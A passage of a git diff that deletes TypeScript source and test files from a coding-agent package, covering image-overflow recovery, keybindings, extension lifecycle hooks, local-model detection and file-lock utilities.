messages[0]; - const arr = firstMsg.content as any[]; - const placeholder = arr.find( - (c: any) => c.type === "text" && c.text.includes("[image removed"), - ); - assert.ok( - placeholder, - "Stripped image should be replaced with text placeholder", - ); - assert.ok( - placeholder.text.includes("image/jpeg"), - "Placeholder should mention original mime type", - ); - }); - - it("handles toolResult messages with images", () => { - const messages: Message[] = []; - for (let i = 0; i < 10; i++) { - messages.push(makeToolResultMsg(1)); - messages.push(makeAssistantMsg(`reply ${i}`)); - } - - const result = downsizeConversationImages(messages); - assert.equal(result.imageCount, 10); - assert.equal(result.strippedCount, 5); - assert.ok(result.processed); - }); - - it("handles mixed user and toolResult images", () => { - const messages: Message[] = []; - for (let i = 0; i < 8; i++) { - messages.push( - makeUserMsg([ - { type: "text", text: `check ${i}` }, - { type: "image", data: `uimg${i}`, mimeType: "image/png" }, - ]), - ); - messages.push(makeAssistantMsg(`processing ${i}`)); - messages.push(makeToolResultMsg(1)); - messages.push(makeAssistantMsg(`done ${i}`)); - } - - const result = downsizeConversationImages(messages); - // 8 user images + 8 tool result images = 16 total - assert.equal(result.imageCount, 16); - assert.equal(result.strippedCount, 11); // 16 - 5 recent - }); -}); diff --git a/packages/pi-coding-agent/src/core/image-overflow-recovery.ts b/packages/pi-coding-agent/src/core/image-overflow-recovery.ts deleted file mode 100644 index bf6a841ce..000000000 --- a/packages/pi-coding-agent/src/core/image-overflow-recovery.ts +++ /dev/null @@ -1,126 +0,0 @@ -/** - * Image overflow recovery for many-image sessions. - * - * When a conversation accumulates many images (screenshots, file reads, etc.), - * the Anthropic API enforces a stricter per-image dimension limit (2000px) for - * "many-image requests." This module detects the resulting 400 error and - * recovers by stripping older images from the conversation history, preserving - * the most recent ones to maintain session continuity. - * - * @see https://github.com/singularity-forge/sf-run/issues/2874 - */ - -import type { - ImageContent, - Message, - TextContent, -} from "@singularity-forge/pi-ai"; - -/** - * Maximum image dimension (px) that the Anthropic API allows in many-image - * requests. Images at or above this size in a large conversation will be - * rejected with a 400 error. We use 1568 as the safe ceiling (Anthropic's - * recommended max for multi-image requests). - */ -export const MANY_IMAGE_MAX_DIMENSION = 1568; - -/** - * Number of recent images to preserve when stripping old images. - * Keeps the most recent screenshots/images so the model retains visual context - * for the current task. - */ -const RECENT_IMAGES_TO_KEEP = 5; - -/** - * Regex matching the Anthropic API error for oversized images in many-image requests. - */ -const IMAGE_DIMENSION_ERROR_RE = - /image.dimensions?.exceed.*max.*allowed.*size.*many.image/i; - -/** - * Detect whether an error message is the Anthropic "image dimensions exceed max - * allowed size for many-image requests" 400 error. - */ -export function isImageDimensionError( - errorMessage: string | undefined | null, -): boolean { - if (!errorMessage) return false; - return IMAGE_DIMENSION_ERROR_RE.test(errorMessage); -} - -export interface DownsizeResult { - /** Total number of images found in the conversation */ - imageCount: number; - /** Whether any images were stripped */ - processed: boolean; - /** Number of images that were stripped */ - strippedCount: number; -} - -/** - * Strip older images from conversation messages to recover from many-image - * dimension errors. Preserves the N most recent images and replaces older ones - * with a text placeholder. - * - * Mutates messages in place (same pattern as replaceMessages/compaction). - * - * Accepts Message[] (the LLM message union) so it works with both - * agent.state.messages and session entries. - */ -export function downsizeConversationImages( - messages: Message[], -): DownsizeResult { - // First pass: collect all image locations (message index + content index) - const imageLocations: Array<{ msgIdx: number; contentIdx: number }> = []; - - for (let msgIdx = 0; msgIdx < messages.length; msgIdx++) { - const msg = messages[msgIdx]; - if (msg.role === "assistant") continue; - - // UserMessage can have string content; ToolResultMessage always has array - if (msg.role === "user" && typeof msg.content === "string") continue; - - const contentArr = msg.content as (TextContent | ImageContent)[]; - if (!Array.isArray(contentArr)) continue; - - for (let contentIdx = 0; contentIdx < contentArr.length; contentIdx++) { - if (contentArr[contentIdx].type === "image") { - imageLocations.push({ msgIdx, contentIdx }); - } - } - } - - const imageCount = imageLocations.length; - if (imageCount === 0) { - return { imageCount: 0, processed: false, strippedCount: 0 }; - } - - // Determine which images to strip (all except the N most recent) - const stripCount = Math.max(0, imageCount - RECENT_IMAGES_TO_KEEP); - if (stripCount === 0) { - return { imageCount, processed: false, strippedCount: 0 }; - } - - const toStrip = imageLocations.slice(0, stripCount); - - // Second pass: replace stripped images with text placeholder. - // Process in reverse order to maintain content indices. - for (let i = toStrip.length - 1; i >= 0; i--) { - const { msgIdx, contentIdx } = toStrip[i]; - const msg = messages[msgIdx]; - if (msg.role === "assistant") continue; - if (msg.role === "user" && typeof msg.content === "string") continue; - - const contentArr = msg.content as (TextContent | ImageContent)[]; - const imageBlock = contentArr[contentIdx] as ImageContent; - const mimeType = imageBlock.mimeType || "image/unknown"; - - // Replace the image block with a text placeholder - (contentArr as any[])[contentIdx] = { - type: "text", - text: `[image removed to reduce context size — was ${mimeType}]`, - } as TextContent; - } - - return { imageCount, processed: true, strippedCount: stripCount }; -} diff --git a/packages/pi-coding-agent/src/core/index.ts b/packages/pi-coding-agent/src/core/index.ts deleted file mode 100644 index a67e76f3a..000000000 --- a/packages/pi-coding-agent/src/core/index.ts +++ /dev/null @@ -1,78 +0,0 @@ -/** - * Core modules shared between all run modes. - */ - -export { - AgentSession, - type AgentSessionConfig, - type AgentSessionEvent, - type AgentSessionEventListener, - type ModelCycleResult, - type PromptOptions, - type SessionStats, -} from "./agent-session.js"; -export { - type BashExecutorOptions, - type BashResult, - executeBash, - executeBashWithOperations, -} from "./bash-executor.js"; -export type { CompactionResult } from "./compaction/index.js"; -export { ContextualTips, type TipContext } from "./contextual-tips.js"; -export { - createEventBus, - type EventBus, - type EventBusController, -} from "./event-bus.js"; - -// Extensions system -export { - type AgentEndEvent, - type AgentStartEvent, - type AgentToolResult, - type AgentToolUpdateCallback, - type BeforeAgentStartEvent, - type ContextEvent, - discoverAndLoadExtensions, - type ExecOptions, - type ExecResult, - type Extension, - type ExtensionAPI, - type ExtensionCommandContext, - type ExtensionContext, - type ExtensionError, - type ExtensionEvent, - type ExtensionFactory, - type ExtensionFlag, - type ExtensionHandler, - type ExtensionManifest, - ExtensionRunner, - type ExtensionShortcut, - type ExtensionUIContext, - type LoadExtensionsResult, - type MessageRenderer, - type RegisteredCommand, - readManifest, - readManifestFromEntryPath, - type SessionBeforeCompactEvent, - type SessionBeforeForkEvent, - type SessionBeforeSwitchEvent, - type SessionBeforeTreeEvent, - type SessionCompactEvent, - type SessionForkEvent, - type SessionShutdownEvent, - type SessionStartEvent, - type SessionSwitchEvent, - type SessionTreeEvent, - type SortResult, - type SortWarning, - sortExtensionPaths, - type ToolCallEvent, - type ToolDefinition, - type ToolRenderResultOptions, - type ToolResultEvent, - type TurnEndEvent, - type TurnStartEvent, - wrapToolsWithExtensions, -} from "./extensions/index.js"; -export { FallbackResolver, type FallbackResult } from "./fallback-resolver.js"; diff --git a/packages/pi-coding-agent/src/core/keybindings-followup.test.ts b/packages/pi-coding-agent/src/core/keybindings-followup.test.ts deleted file mode 100644 index ddc03db17..000000000 --- a/packages/pi-coding-agent/src/core/keybindings-followup.test.ts +++ /dev/null @@ -1,15 +0,0 @@ -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import { test } from "vitest"; - -const source = readFileSync( - join(process.cwd(), "packages/pi-coding-agent/src/core/keybindings.ts"), - "utf-8", -); - -test("default follow-up keybinding includes Alt+Enter and Ctrl+Enter", () => { - const followUpDefault = source.match(/followUp:\s*\[([^\]]+)\]/)?.[1] ?? ""; - assert.match(followUpDefault, /"alt\+enter"/); - assert.match(followUpDefault, /"ctrl\+enter"/); -}); diff --git a/packages/pi-coding-agent/src/core/keybindings.ts b/packages/pi-coding-agent/src/core/keybindings.ts deleted file mode 100644 index 0da23b72e..000000000 --- a/packages/pi-coding-agent/src/core/keybindings.ts +++ /dev/null @@ -1,211 +0,0 @@ -import { existsSync, readFileSync } from "node:fs"; -import { join } from "node:path"; -import { - DEFAULT_EDITOR_KEYBINDINGS, - type EditorAction, - type EditorKeybindingsConfig, - EditorKeybindingsManager, - type KeyId, - matchesKey, - setEditorKeybindings, -} from "@singularity-forge/pi-tui"; -import { getAgentDir } from "../config.js"; - -/** - * Application-level actions (coding agent specific). - */ -export type AppAction = - | "interrupt" - | "clear" - | "exit" - | "suspend" - | "cycleThinkingLevel" - | "cycleModelForward" - | "cycleModelBackward" - | "selectModel" - | "expandTools" - | "toggleThinking" - | "toggleSessionNamedFilter" - | "externalEditor" - | "followUp" - | "dequeue" - | "pasteImage" - | "newSession" - | "tree" - | "fork" - | "resume"; - -/** - * All configurable actions. - */ -export type KeyAction = AppAction | EditorAction; - -/** - * Full keybindings configuration (app + editor actions). - */ -export type KeybindingsConfig = { - [K in KeyAction]?: KeyId | KeyId[]; -}; - -/** - * Default application keybindings. - */ -const DEFAULT_APP_KEYBINDINGS: Record = { - interrupt: "escape", - clear: "ctrl+c", - exit: "ctrl+d", - suspend: "ctrl+z", - cycleThinkingLevel: "ctrl+t", - cycleModelForward: "ctrl+p", - cycleModelBackward: "shift+ctrl+p", - selectModel: "ctrl+l", - expandTools: "ctrl+o", - toggleThinking: [], - toggleSessionNamedFilter: "ctrl+n", - externalEditor: "ctrl+g", - followUp: ["alt+enter", "ctrl+enter"], - dequeue: "alt+up", - pasteImage: process.platform === "win32" ? "alt+v" : ["ctrl+v", "alt+v"], - newSession: [], - tree: [], - fork: [], - resume: [], -}; - -/** - * All default keybindings (app + editor). - */ -const DEFAULT_KEYBINDINGS: Required = { - ...DEFAULT_EDITOR_KEYBINDINGS, - ...DEFAULT_APP_KEYBINDINGS, -}; - -// App actions list for type checking -const APP_ACTIONS: AppAction[] = [ - "interrupt", - "clear", - "exit", - "suspend", - "cycleThinkingLevel", - "cycleModelForward", - "cycleModelBackward", - "selectModel", - "expandTools", - "toggleThinking", - "toggleSessionNamedFilter", - "externalEditor", - "followUp", - "dequeue", - "pasteImage", - "newSession", - "tree", - "fork", - "resume", -]; - -function isAppAction(action: string): action is AppAction { - return APP_ACTIONS.includes(action as AppAction); -} - -/** - * Manages all keybindings (app + editor). - */ -export class KeybindingsManager { - private config: KeybindingsConfig; - private appActionToKeys: Map; - - private constructor(config: KeybindingsConfig) { - this.config = config; - this.appActionToKeys = new Map(); - this.buildMaps(); - } - - /** - * Create from config file and set up editor keybindings. - */ - static create(agentDir: string = getAgentDir()): KeybindingsManager { - const configPath = join(agentDir, "keybindings.json"); - const config = KeybindingsManager.loadFromFile(configPath); - const manager = new KeybindingsManager(config); - - // Set up editor keybindings globally - // Include both editor actions and expandTools (shared between app and editor) - const editorConfig: EditorKeybindingsConfig = {}; - for (const [action, keys] of Object.entries(config)) { - if (!isAppAction(action) || action === "expandTools") { - editorConfig[action as EditorAction] = keys; - } - } - setEditorKeybindings(new EditorKeybindingsManager(editorConfig)); - - return manager; - } - - /** - * Create in-memory. - */ - static inMemory(config: KeybindingsConfig = {}): KeybindingsManager { - return new KeybindingsManager(config); - } - - private static loadFromFile(path: string): KeybindingsConfig { - if (!existsSync(path)) return {}; - try { - return JSON.parse(readFileSync(path, "utf-8")); - } catch { - return {}; - } - } - - private buildMaps(): void { - this.appActionToKeys.clear(); - - // Set defaults for app actions - for (const [action, keys] of Object.entries(DEFAULT_APP_KEYBINDINGS)) { - const keyArray = Array.isArray(keys) ? keys : [keys]; - this.appActionToKeys.set(action as AppAction, [...keyArray]); - } - - // Override with user config (app actions only) - for (const [action, keys] of Object.entries(this.config)) { - if (keys === undefined || !isAppAction(action)) continue; - const keyArray = Array.isArray(keys) ? keys : [keys]; - this.appActionToKeys.set(action, keyArray); - } - } - - /** - * Check if input matches an app action. - */ - matches(data: string, action: AppAction): boolean { - const keys = this.appActionToKeys.get(action); - if (!keys) return false; - for (const key of keys) { - if (matchesKey(data, key)) return true; - } - return false; - } - - /** - * Get keys bound to an app action. - */ - getKeys(action: AppAction): KeyId[] { - return this.appActionToKeys.get(action) ?? []; - } - - /** - * Get the full effective config. - */ - getEffectiveConfig(): Required { - const result = { ...DEFAULT_KEYBINDINGS }; - for (const [action, keys] of Object.entries(this.config)) { - if (keys !== undefined) { - (result as KeybindingsConfig)[action as KeyAction] = keys; - } - } - return result; - } -} - -// Re-export for convenience -export type { EditorAction, KeyId }; diff --git a/packages/pi-coding-agent/src/core/lifecycle-hooks.test.ts b/packages/pi-coding-agent/src/core/lifecycle-hooks.test.ts deleted file mode 100644 index 3d537b611..000000000 --- a/packages/pi-coding-agent/src/core/lifecycle-hooks.test.ts +++ /dev/null @@ -1,304 +0,0 @@ -import assert from "node:assert/strict"; -import { - existsSync, - mkdirSync, - mkdtempSync, - rmSync, - writeFileSync, -} from "node:fs"; -import { homedir, tmpdir } from "node:os"; -import { join, resolve } from "node:path"; -import { afterEach, describe, it } from "vitest"; -import { - collectRuntimeDependencies, - readManifestRuntimeDeps, - resolveLocalSourcePath, - verifyRuntimeDependencies, -} from "./lifecycle-hooks.js"; - -const _tmpDirs: string[] = []; - -function tmpDir(prefix: string): string { - const dir = mkdtempSync(join(tmpdir(), `pi-lh-${prefix}-`)); - _tmpDirs.push(dir); - return dir; -} - -afterEach(() => { - for (const dir of _tmpDirs) { - rmSync(dir, { recursive: true, force: true }); - } - _tmpDirs.length = 0; -}); - -// ─── readManifestRuntimeDeps ────────────────────────────────────────────────── - -describe("readManifestRuntimeDeps", () => { - it("returns empty array when manifest file is missing", () => { - const dir = tmpDir("no-manifest"); - assert.deepEqual(readManifestRuntimeDeps(dir), []); - }); - - it("returns empty array for malformed JSON", () => { - const dir = tmpDir("bad-json"); - writeFileSync(join(dir, "extension-manifest.json"), "not json{{{", "utf-8"); - assert.deepEqual(readManifestRuntimeDeps(dir), []); - }); - - it("returns runtime deps from valid manifest", () => { - const dir = tmpDir("valid"); - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify({ - dependencies: { runtime: ["claude", "node"] }, - }), - "utf-8", - ); - assert.deepEqual(readManifestRuntimeDeps(dir), ["claude", "node"]); - }); - - it("returns empty array when dependencies exists but runtime is missing", () => { - const dir = tmpDir("no-runtime"); - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify({ - dependencies: {}, - }), - "utf-8", - ); - assert.deepEqual(readManifestRuntimeDeps(dir), []); - }); - - it("returns empty array when runtime is empty", () => { - const dir = tmpDir("empty-runtime"); - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify({ - dependencies: { runtime: [] }, - }), - "utf-8", - ); - assert.deepEqual(readManifestRuntimeDeps(dir), []); - }); - - it("filters out non-string entries in runtime array", () => { - const dir = tmpDir("mixed-types"); - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify({ - dependencies: { runtime: [123, null, "node", false, "python"] }, - }), - "utf-8", - ); - assert.deepEqual(readManifestRuntimeDeps(dir), ["node", "python"]); - }); - - it("returns empty array when no dependencies field at all", () => { - const dir = tmpDir("no-deps-field"); - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify({ - id: "test", - name: "Test", - }), - "utf-8", - ); - assert.deepEqual(readManifestRuntimeDeps(dir), []); - }); -}); - -// ─── collectRuntimeDependencies ─────────────────────────────────────────────── - -describe("collectRuntimeDependencies", () => { - it("aggregates deps from installedPath manifest", () => { - const dir = tmpDir("collect-installed"); - writeFileSync( - join(dir, "extension-manifest.json"), - JSON.stringify({ - dependencies: { runtime: ["claude"] }, - }), - "utf-8", - ); - assert.deepEqual(collectRuntimeDependencies(dir, []), ["claude"]); - }); - - it("aggregates deps from entry path directory manifests", () => { - const root = tmpDir("collect-entry"); - const installedDir = join(root, "installed"); - const entryDir = join(root, "entry"); - mkdirSync(installedDir, { recursive: true }); - mkdirSync(entryDir, { recursive: true }); - writeFileSync( - join(entryDir, "extension-manifest.json"), - JSON.stringify({ - dependencies: { runtime: ["python"] }, - }), - "utf-8", - ); - const deps = collectRuntimeDependencies(installedDir, [ - join(entryDir, "index.ts"), - ]); - assert.deepEqual(deps, ["python"]); - }); - - it("deduplicates across multiple directories", () => { - const root = tmpDir("collect-dedup"); - const dir1 = join(root, "dir1"); - const dir2 = join(root, "dir2"); - mkdirSync(dir1, { recursive: true }); - mkdirSync(dir2, { recursive: true }); - writeFileSync( - join(dir1, "extension-manifest.json"), - JSON.stringify({ - dependencies: { runtime: ["node", "python"] }, - }), - "utf-8", - ); - writeFileSync( - join(dir2, "extension-manifest.json"), - JSON.stringify({ - dependencies: { runtime: ["python", "claude"] }, - }), - "utf-8", - ); - const deps = collectRuntimeDependencies(dir1, [join(dir2, "index.ts")]); - assert.equal(deps.length, 3); - assert.ok(deps.includes("node")); - assert.ok(deps.includes("python")); - assert.ok(deps.includes("claude")); - }); - - it("returns empty when no directories have manifests", () => { - const dir = tmpDir("collect-empty"); - assert.deepEqual(collectRuntimeDependencies(dir, []), []); - }); -}); - -// ─── verifyRuntimeDependencies ──────────────────────────────────────────────── - -describe("verifyRuntimeDependencies", () => { - it("does not throw for empty deps array", () => { - assert.doesNotThrow(() => - verifyRuntimeDependencies([], "test-source", "pi"), - ); - }); - - it("does not throw when all deps are present", () => { - assert.doesNotThrow(() => - verifyRuntimeDependencies(["node"], "test-source", "pi"), - ); - }); - - it("throws for missing dep with 'Missing runtime dependencies' message", () => { - assert.throws( - () => - verifyRuntimeDependencies( - ["__nonexistent_dep_for_test__"], - "test-source", - "pi", - ), - (err: Error) => { - assert.ok(err.message.includes("Missing runtime dependencies")); - assert.ok(err.message.includes("__nonexistent_dep_for_test__")); - return true; - }, - ); - }); - - it("lists all missing deps in error message", () => { - assert.throws( - () => - verifyRuntimeDependencies( - ["__missing_1__", "__missing_2__"], - "test-source", - "pi", - ), - (err: Error) => { - assert.ok(err.message.includes("__missing_1__")); - assert.ok(err.message.includes("__missing_2__")); - return true; - }, - ); - }); - - it("includes appName and source in error for retry hint", () => { - assert.throws( - () => - verifyRuntimeDependencies(["__missing__"], "github:user/repo", "sf"), - (err: Error) => { - assert.ok(err.message.includes("sf")); - assert.ok(err.message.includes("github:user/repo")); - return true; - }, - ); - }); -}); - -// ─── resolveLocalSourcePath ─────────────────────────────────────────────────── - -describe("resolveLocalSourcePath", () => { - it("returns undefined for empty string", () => { - assert.equal(resolveLocalSourcePath("", "/tmp"), undefined); - }); - - it("returns undefined for npm: source", () => { - assert.equal(resolveLocalSourcePath("npm:@foo/bar", "/tmp"), undefined); - }); - - it("returns undefined for git URL", () => { - assert.equal( - resolveLocalSourcePath("git:github.com/user/repo", "/tmp"), - undefined, - ); - }); - - it("returns undefined for https git URL", () => { - assert.equal( - resolveLocalSourcePath("https://github.com/user/repo", "/tmp"), - undefined, - ); - }); - - it("resolves ~ to homedir", () => { - const result = resolveLocalSourcePath("~", "/tmp"); - if (existsSync(homedir())) { - assert.equal(result, homedir()); - } else { - assert.equal(result, undefined); - } - }); - - it("resolves ~/path relative to homedir", () => { - const result = resolveLocalSourcePath("~/", "/tmp"); - if (existsSync(homedir())) { - assert.equal(result, homedir()); - } else { - assert.equal(result, undefined); - } - }); - - it("resolves relative path that exists", () => { - const dir = tmpDir("resolve-rel"); - const sub = join(dir, "myext"); - mkdirSync(sub, { recursive: true }); - const result = resolveLocalSourcePath("myext", dir); - assert.equal(result, resolve(dir, "myext")); - }); - - it("returns undefined for relative path that does not exist", () => { - const dir = tmpDir("resolve-noexist"); - assert.equal(resolveLocalSourcePath("nonexistent", dir), undefined); - }); - - it("resolves absolute path that exists", () => { - const dir = tmpDir("resolve-abs"); - assert.equal(resolveLocalSourcePath(dir, "/irrelevant"), dir); - }); - - it("returns undefined for absolute path that does not exist", () => { - assert.equal( - resolveLocalSourcePath("/tmp/__nonexistent_path_for_test__", "/tmp"), - undefined, - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/lifecycle-hooks.ts b/packages/pi-coding-agent/src/core/lifecycle-hooks.ts deleted file mode 100644 index 54e988a40..000000000 --- a/packages/pi-coding-agent/src/core/lifecycle-hooks.ts +++ /dev/null @@ -1,329 +0,0 @@ -import { spawnSync } from "node:child_process"; -import { existsSync, readFileSync } from "node:fs"; -import { homedir } from "node:os"; -import { dirname, join, resolve } from "node:path"; -import { pathToFileURL } from "node:url"; -import { parseGitUrl } from "../utils/git.js"; -import { - importExtensionModule, - type LifecycleHookContext, - type LifecycleHookHandler, - type LifecycleHookMap, - type LifecycleHookPhase, - type LifecycleHookScope, - loadExtensions, -} from "./extensions/index.js"; -import type { DefaultPackageManager } from "./package-manager.js"; - -interface ExtensionManifest { - dependencies?: { - runtime?: string[]; - }; -} - -export interface PackageLifecycleHooksOptions { - source: string; - local: boolean; - cwd: string; - agentDir: string; - appName: string; - packageManager: DefaultPackageManager; - stdout: NodeJS.WriteStream; - stderr: NodeJS.WriteStream; -} - -export type LifecycleHooksTarget = "source" | "installed"; - -export interface PrepareLifecycleHooksOptions { - verifyRuntimeDependencies?: boolean; -} - -export interface LifecycleHooksRunResult { - phase: LifecycleHookPhase; - hooksRun: number; - hookErrors: number; - legacyHooksRun: number; - entryPathCount: number; - skipped: boolean; -} - -interface LoadedLifecycleHooks { - source: string; - scope: LifecycleHookScope; - installedPath?: string; - cwd: string; - stdout: NodeJS.WriteStream; - stderr: NodeJS.WriteStream; - entryPaths: string[]; - hooksByPath: Map; -} - -function toScope(local: boolean): LifecycleHookScope { - return local ? "project" : "user"; -} - -export function readManifestRuntimeDeps(dir: string): string[] { - const manifestPath = join(dir, "extension-manifest.json"); - if (!existsSync(manifestPath)) return []; - try { - const manifest = JSON.parse( - readFileSync(manifestPath, "utf-8"), - ) as ExtensionManifest; - return ( - manifest.dependencies?.runtime?.filter( - (dep): dep is string => typeof dep === "string", - ) ?? [] - ); - } catch { - return []; - } -} - -export function collectRuntimeDependencies( - installedPath: string, - entryPaths: string[], -): string[] { - const deps = new Set(); - const candidateDirs = new Set([ - installedPath, - ...entryPaths.map((entryPath) => dirname(entryPath)), - ]); - for (const dir of candidateDirs) { - for (const dep of readManifestRuntimeDeps(dir)) { - deps.add(dep); - } - } - return Array.from(deps); -} - -export function verifyRuntimeDependencies( - runtimeDeps: string[], - source: string, - appName: string, -): void { - const missing: string[] = []; - for (const dep of runtimeDeps) { - if (dep === "node") { - continue; - } - const result = spawnSync(dep, ["--version"], { - encoding: "utf-8", - timeout: 5000, - }); - if (result.error || result.status !== 0) { - missing.push(dep); - } - } - if (missing.length === 0) return; - throw new Error( - `Missing runtime dependencies: ${missing.join(", ")}.\n` + - `Install them and retry: ${appName} install ${source}`, - ); -} - -export function resolveLocalSourcePath( - source: string, - cwd: string, -): string | undefined { - const trimmed = source.trim(); - if (!trimmed) return undefined; - if (trimmed.startsWith("npm:")) return undefined; - if (parseGitUrl(trimmed)) return undefined; - - let normalized = trimmed; - if (normalized === "~") { - normalized = homedir(); - } else if (normalized.startsWith("~/")) { - normalized = join(homedir(), normalized.slice(2)); - } - - const absolutePath = resolve(cwd, normalized); - return existsSync(absolutePath) ? absolutePath : undefined; -} - -async function resolveEntryPathsFromTarget( - options: PackageLifecycleHooksOptions, - target: LifecycleHooksTarget, - scope: LifecycleHookScope, -): Promise<{ entryPaths: string[]; installedPath?: string }> { - if (target === "source") { - const localSourcePath = resolveLocalSourcePath(options.source, options.cwd); - if (!localSourcePath) return { entryPaths: [] }; - const resolved = await options.packageManager.resolveExtensionSources( - [localSourcePath], - { local: true }, - ); - const entryPaths = resolved.extensions - .filter((resource) => resource.enabled) - .map((resource) => resource.path); - return { entryPaths, installedPath: localSourcePath }; - } - - const installedPath = options.packageManager.getInstalledPath( - options.source, - scope, - ); - if (!installedPath) return { entryPaths: [] }; - const resolved = await options.packageManager.resolveExtensionSources( - [installedPath], - { local: true }, - ); - const entryPaths = resolved.extensions - .filter((resource) => resource.enabled) - .map((resource) => resource.path); - return { entryPaths, installedPath }; -} - -export async function prepareLifecycleHooks( - options: PackageLifecycleHooksOptions, - target: LifecycleHooksTarget, - prepareOptions?: PrepareLifecycleHooksOptions, -): Promise { - const scope = toScope(options.local); - const { entryPaths, installedPath } = await resolveEntryPathsFromTarget( - options, - target, - scope, - ); - if (entryPaths.length === 0) { - return null; - } - - if (prepareOptions?.verifyRuntimeDependencies && installedPath) { - const runtimeDeps = collectRuntimeDependencies(installedPath, entryPaths); - verifyRuntimeDependencies(runtimeDeps, options.source, options.appName); - } - - const loaded = await loadExtensions(entryPaths, options.cwd); - for (const { path, error } of loaded.errors) { - options.stderr.write( - `[lifecycle-hooks] Failed to load extension "${path}": ${error}\n`, - ); - } - - const hooksByPath = new Map(); - for (const extension of loaded.extensions) { - hooksByPath.set(extension.path, extension.lifecycleHooks); - } - - return { - source: options.source, - scope, - installedPath, - cwd: options.cwd, - stdout: options.stdout, - stderr: options.stderr, - entryPaths, - hooksByPath, - }; -} - -async function runHookSafe( - hook: LifecycleHookHandler, - context: LifecycleHookContext, - stderr: NodeJS.WriteStream, -): Promise { - try { - await hook(context); - return true; - } catch (error) { - const message = error instanceof Error ? error.message : String(error); - stderr.write( - `[lifecycle-hooks:${context.phase}] Hook failed: ${message}\n`, - ); - return false; - } -} - -function getLegacyExportCandidates(phase: LifecycleHookPhase): string[] { - return [phase]; -} - -const _legacyModuleCache = new Map>(); - -async function runLegacyExportHook( - entryPath: string, - phase: LifecycleHookPhase, - _context: LifecycleHookContext, -): Promise { - try { - let module = _legacyModuleCache.get(entryPath); - if (!module) { - module = await importExtensionModule>( - import.meta.url, - pathToFileURL(entryPath).href, - ); - _legacyModuleCache.set(entryPath, module); - } - for (const exportName of getLegacyExportCandidates(phase)) { - const candidate = module[exportName]; - if (typeof candidate === "function") { - return candidate as LifecycleHookHandler; - } - } - return null; - } catch { - return null; - } -} - -export async function runLifecycleHooks( - loaded: LoadedLifecycleHooks | null, - phase: LifecycleHookPhase, -): Promise { - if (!loaded) { - return { - phase, - hooksRun: 0, - hookErrors: 0, - legacyHooksRun: 0, - entryPathCount: 0, - skipped: true, - }; - } - - const context: LifecycleHookContext = { - phase, - source: loaded.source, - installedPath: loaded.installedPath, - scope: loaded.scope, - cwd: loaded.cwd, - interactive: Boolean(process.stdin.isTTY && process.stdout.isTTY), - log: (message) => loaded.stdout.write(`${message}\n`), - warn: (message) => loaded.stderr.write(`${message}\n`), - error: (message) => loaded.stderr.write(`${message}\n`), - }; - - let hooksRun = 0; - let hookErrors = 0; - let legacyHooksRun = 0; - - for (const entryPath of loaded.entryPaths) { - const hookMap = loaded.hooksByPath.get(entryPath); - const registeredHooks = hookMap?.[phase] ?? []; - if (registeredHooks.length > 0) { - for (const hook of registeredHooks) { - hooksRun += 1; - const ok = await runHookSafe(hook, context, loaded.stderr); - if (!ok) hookErrors += 1; - } - continue; - } - - const legacyHook = await runLegacyExportHook(entryPath, phase, context); - if (!legacyHook) continue; - - legacyHooksRun += 1; - const ok = await runHookSafe(legacyHook, context, loaded.stderr); - if (!ok) hookErrors += 1; - } - - return { - phase, - hooksRun, - hookErrors, - legacyHooksRun, - entryPathCount: loaded.entryPaths.length, - skipped: false, - }; -} diff --git a/packages/pi-coding-agent/src/core/local-model-check.ts b/packages/pi-coding-agent/src/core/local-model-check.ts deleted file mode 100644 index b468e459f..000000000 --- a/packages/pi-coding-agent/src/core/local-model-check.ts +++ /dev/null @@ -1,45 +0,0 @@ -/** - * local-model-check.ts — Utility to detect if a model baseUrl is local. - * - * Leaf module with zero transitive dependencies on TypeScript parameter properties. - * Used by ModelRegistry and tests. - */ - -/** - * Check if a model's baseUrl points to a local endpoint. - * Returns true for localhost, 127.0.0.1, 0.0.0.0, ::1, or unix socket paths. - * Returns false if baseUrl is empty (cloud provider) or points to a remote host. - */ -export function isLocalModel(model: { baseUrl: string }): boolean { - const url = model.baseUrl; - if (!url) return false; - - // Unix socket paths - if (url.startsWith("unix://") || url.startsWith("unix:")) return true; - - try { - const parsed = new URL(url); - const hostname = parsed.hostname; - if ( - hostname === "localhost" || - hostname === "127.0.0.1" || - hostname === "0.0.0.0" || - hostname === "::1" || - hostname === "[::1]" - ) { - return true; - } - } catch { - // If URL parsing fails, check raw string for local patterns - if ( - url.includes("localhost") || - url.includes("127.0.0.1") || - url.includes("0.0.0.0") || - url.includes("[::1]") - ) { - return true; - } - } - - return false; -} diff --git a/packages/pi-coding-agent/src/core/lock-utils.ts b/packages/pi-coding-agent/src/core/lock-utils.ts deleted file mode 100644 index 64f77aa7c..000000000 --- a/packages/pi-coding-agent/src/core/lock-utils.ts +++ /dev/null @@ -1,113 +0,0 @@ -/** - * Shared file-locking utilities built on `proper-lockfile`. - * - * Centralises the synchronous retry-loop and async lock/release patterns - * that were previously duplicated across auth-storage, session-manager, - * settings-manager, and models-json-writer. - */ - -import lockfile from "proper-lockfile"; - -const DEFAULT_MAX_ATTEMPTS = 10; -const DEFAULT_DELAY_MS = 20; - -/** - * Acquire a synchronous file lock with retry. - * - * Retries up to `maxAttempts` times when the lock is held by another process - * (ELOCKED), using a busy-wait between attempts. - * - * @returns A release function to unlock. - * @throws On non-ELOCKED errors or when all attempts are exhausted. - */ -export function acquireLockSyncWithRetry( - lockPath: string, - maxAttempts: number = DEFAULT_MAX_ATTEMPTS, - delayMs: number = DEFAULT_DELAY_MS, -): () => void { - let lastError: unknown; - - for (let attempt = 1; attempt <= maxAttempts; attempt++) { - try { - return lockfile.lockSync(lockPath, { realpath: false }); - } catch (error) { - const code = - typeof error === "object" && error !== null && "code" in error - ? String((error as { code?: unknown }).code) - : undefined; - if (code !== "ELOCKED" || attempt === maxAttempts) { - throw error; - } - lastError = error; - const start = Date.now(); - while (Date.now() - start < delayMs) { - // Busy-wait to avoid changing callers to async. - } - } - } - - throw (lastError as Error) ?? new Error("Failed to acquire file lock"); -} - -/** - * Non-throwing variant of {@link acquireLockSyncWithRetry}. - * - * Returns `undefined` instead of throwing when the lock cannot be acquired, - * allowing callers to proceed without the lock rather than losing data. - */ -export function 